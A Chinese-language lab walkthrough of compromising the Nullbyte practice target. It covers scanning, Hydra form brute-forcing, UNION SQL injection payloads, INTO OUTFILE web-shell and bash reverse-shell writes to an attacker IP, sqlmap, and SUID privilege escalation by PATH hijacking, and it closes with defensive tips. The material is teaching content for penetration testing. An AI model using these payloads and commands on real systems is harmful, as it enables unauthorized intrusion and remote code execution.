Linux渗透实战之Nullbyte靶场提权
字数 1270 2025-08-22 12:23:19
Linux渗透实战之Nullbyte靶场提权教学文档
0x1 靶场概述
Nullbyte靶场是一个以SQL注入为主的渗透测试练习环境,涉及以下核心技能点:
- Hydra表单暴力破解
- John md5哈希暴力破解
- 多种SQL注入技术(手工注入、文件写入、反弹shell)
- SQLmap自动化注入
- SUID提权技术
0x2 信息收集阶段
1. 主机探测
arp-scan -l
发现靶机IP:192.168.103.160
2. 端口扫描
nmap -sS -A -p- 192.168.103.160
发现开放端口:
- 80 (HTTP)
- 111 (RPC)
- 777 (SSH,注意是修改后的端口)
- 38389
3. 漏洞扫描
nmap --script=vuln -p80,111,777,38389 192.168.103.160
发现:
- /phpmyadmin/目录
- 可能存在CVE-2007-6750漏洞(HTTP DoS漏洞,本靶场中无实际利用价值)
4. 目录扫描
gobuster dir -u http://192.168.103.160 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
发现重要目录:
- /uploads/
- /phpmyadmin/
- /javascript/
0x3 Web渗透阶段
1. 初始信息收集
- 网站根目录只有main.gif图片
- 使用exiftool分析图片:
exiftool main.gif
发现隐藏字符串:kzMb5nVYJw(实际为隐藏目录)
2. Hydra表单爆破
发现/kzMb5nVYJw/目录下有密码输入表单,使用Hydra爆破:
hydra 192.168.103.160 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -l routing -P /usr/share/wordlists/rockyou.txt
爆破成功,密码为:elite
3. SQL注入漏洞发现
进入后界面存在搜索功能,发现420search.php文件,存在GET传参,测试存在SQL注入漏洞。
0x4 SQL注入技术详解
方法一:手工联合注入
- 确定列数:
" order by 1,2,3 -- -
- 获取数据库名:
" union select 1,2,database() -- -
结果:seth
- 获取表名:
" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- -
结果:users
- 获取列名:
" union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users" -- -
结果:id,user,pass,position
- 获取用户凭据:
" union select 1,2,group_concat(pass) from users -- -
得到base64编码的MD5哈希:YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE
解码后MD5:c6d6bd7ebf806f43c76acc3681703b81
解密得到密码:omega
方法二:写入一句话木马
" union select "<?php system($_GET['cmd']); ?>", 2, 3 into outfile "/var/www/html/uploads/shell.php" -- -
利用:
?cmd=cat /var/www/html/kzMb5nVYJw/420search.php
获取数据库凭据:
- 用户:root
- 密码:sunnyvale
方法三:写入反弹shell
写入nc.php:
" union select "<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/192.168.103.129/1234 0>&1'\"); ?>", 2, 3 into outfile "/var/www/html/uploads/nc.php" -- -
监听:
nc -lvnp 1234
访问/uploads/nc.php获取反弹shell
方法四:SQLmap自动化注入
sqlmap -u "http://192.168.103.201/kzMb5nVYJw/420search.php?usrtosearch=1" --dump --batch
0x5 提权阶段
1. SSH登录
ssh ramses@192.168.103.160 -p 777
密码:omega
2. SUID提权
发现具有SUID权限的可执行文件:
ls -la /var/www/backup/procwatch
输出:
-rwsr-xr-x 1 root root 4932 Aug 2 2015 /var/www/backup/procwatch
提权步骤:
- 创建sh的软链接:
ln -s /bin/sh ps
- 修改环境变量:
export PATH=.:$PATH
- 执行procwatch:
./procwatch
成功获取root权限
0x6 技术要点总结
-
信息收集:全面扫描端口和目录,不放过任何细节(如图片元数据)
-
密码破解:合理使用Hydra和字典文件
-
SQL注入:
- 掌握多种注入技术(联合查询、文件写入)
- 了解写入文件的前提条件(secure_file_priv为空、知道绝对路径)
-
提权技术:
- 关注SUID权限文件
- 理解环境变量在提权中的作用
- 掌握符号链接的利用方法
-
防御建议:
- 限制数据库文件写入权限
- 严格控制SUID权限
- 避免在Web目录存放敏感信息
- 使用参数化查询防止SQL注入